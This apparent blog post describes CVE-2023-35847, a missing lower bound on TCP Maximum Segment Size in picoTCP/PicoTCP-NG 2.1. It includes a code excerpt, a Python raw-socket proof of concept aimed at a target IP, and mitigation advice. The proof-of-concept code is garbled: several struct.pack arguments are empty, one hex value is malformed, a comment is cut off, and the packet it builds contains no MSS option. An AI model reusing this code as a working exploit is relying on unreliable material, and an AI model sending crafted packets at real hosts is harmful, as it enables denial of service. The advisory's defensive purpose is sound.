A vulnerability has been discovered in VirtualSquare picoTCP (also known as PicoTCP-NG) up to and including version 2.1. The issue is related to the lack of a lower bound on the Maximum Segment Size (MSS) value. Attackers can exploit this vulnerability by setting the MSS to a minimum value, potentially leading to denial-of-service or other unintended consequences. This post will discuss the background of the vulnerability, steps to reproduce the issue, and ways to mitigate its impact.

Background

VirtualSquare picoTCP is an open-source TCP/IP stack implementation targeted at embedded devices and IoT applications (GitHub Repository). It is designed to be lightweight, portable, and performant on a wide range of systems.

The MSS is an important parameter in the Transmission Control Protocol (TCP). It defines the largest amount of data that can be transmitted in a single TCP segment without fragmentation. When a device receives an MSS value, it is used to adjust the size of the data sent in each packet.

Vulnerability Details (CVE-2023-35847)

PicoTCP-NG does not enforce a minimum MSS value. Consequently, an attacker can set the MSS to zero or an extremely small value in a crafted TCP packet. This abnormal MSS value can cause various issues depending on how the receiving application processes it. For instance, it could result in excessive fragmentation of packets or even a crash in the worst-case scenario.

The code snippet below shows how the issue occurs in PicoTCP-NG

/* picotcp-2.1/modules/pico_tcp.c */

static int tcp_parse_options(struct pico_socket *s, uint8_t *buf, uint32_t len)
{
    ...
    case PICO_TCP_OPTION_MSS: // This is the case handling the MSS in the TCP options.
        ...
        tcp_store_options(ts, opt, &tcp_opts); // Here, the MSS value is stored without any checks for lower bounds.
        break;
    ...
}

Proof of Concept

The vulnerability can be demonstrated using the following Python code snippet. This example sends an abnormal TCP packet with MSS set to zero:

import socket
import struct

# The target IP address and port number.
TARGET_IP = "192.168.1.100"
TARGET_PORT = 80

# Create a raw socket and bind it to the device.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.bind((socket.gethostname(), TARGET_PORT))

# Create the crafted TCP header with MSS set to .
tcp_header = struct.pack('!HHIIBBHHH', TARGET_PORT, TARGET_PORT, , , 5 << 4, 2, , 2, )

# Create an IP header indicating that we are a fragment of an upper-level protocol.
ip_header = struct.pack('!BBHHHBBH4s4s', x46, , len(tcp_header), , , 64, socket.IPPROTO_TCP, , socket.inet_aton(socket.gethostname()), socket.inet_aton(TARGET_IP))

# Send the crafted packet.
s.sendto(ip_header + tcp_header, (TARGET_IP, TARGET_PORT))

Mitigation and Remediation

Until a patch is applied to enforce a lower bound on the MSS in PicoTCP-NG, users should implement workarounds at their end. This can be done at different layers, depending on the specific use-case:

1. Application Layer: Ensure applications using PicoTCP-NG verify the received MSS values before processing them further.
2. Network Layer: Implement network firewall rules to drop any packets containing an MSS value below the desired threshold.
3. Transport Layer: Modify the PicoTCP-NG library's source code to enforce a minimum MSS value before storing it in the tcp_store_options() function.

Conclusion

The CVE-2023-35847 vulnerability exposes VirtualSquare PicoTCP-NG users to potential denial-of-service attacks or unintended consequences due to an unenforced lower bound on the Maximum Segment Size (MSS) value. While a patch addressing this issue is expected, users should consider implementing the mitigation strategies listed above to secure their environments.

For more information on this vulnerability, the official CVE-2023-35847 page can be referenced.

Timeline

Published on: 06/19/2023 03:15:00 UTC
Last modified on: 06/26/2023 18:10:00 UTC